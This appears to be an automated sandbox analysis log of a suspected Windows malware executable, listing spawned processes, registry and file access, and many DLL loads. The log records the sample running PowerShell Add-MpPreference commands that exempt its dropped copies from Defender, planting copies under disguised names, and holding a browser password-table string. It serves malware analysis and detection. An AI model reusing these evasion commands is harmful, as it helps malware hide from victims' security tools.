Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat"

Source: lEwK4xROgV.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: lEwK4xROgV.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: TnCKG1d2WX.16.dr, 9meo2MMWHV.16.dr, 2CrASKg4Mm.16.dr, mCDFISGch3.16.dr, n9sMVIIHu3.16.dr, GSFaQrFZmG.16.dr, QZkvNY4i3q.16.dr, Q3yxTgxTHU.16.dr, 84sdQZwjUz.16.dr, tqZWX1bHsE.16.dr, 1bo37pwnkw.16.dr, zDkc2FLrmP.16.dr, xRqIzL2Kwg.16.dr, imASsbU1Vv.16.dr, RT1lVqDkTw.16.dr, nOoQP6BNbm.16.dr, YxEpyjzaBt.16.dr, cNAUAszbg2.16.dr, c54q0K72zp.16.dr, zekGHm9LQv.16.dr, WRdXBfEeHu.16.dr, vGV35MY1Le.16.dr, 4PRDC8o0yW.16.dr, EndyxCh9kk.16.dr, C16hJFtRVh.16.dr, LWPEFNGxiW.16.dr, tnwPHSK488.16.dr, QQmxLDClMc.16.dr, VPX0MDsI2n.16.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: lEwK4xROgV.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File read: C:\Users\user\Desktop\lEwK4xROgV.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lEwK4xROgV.exe "C:\Users\user\Desktop\lEwK4xROgV.exe"
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe "C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe "C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe"

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
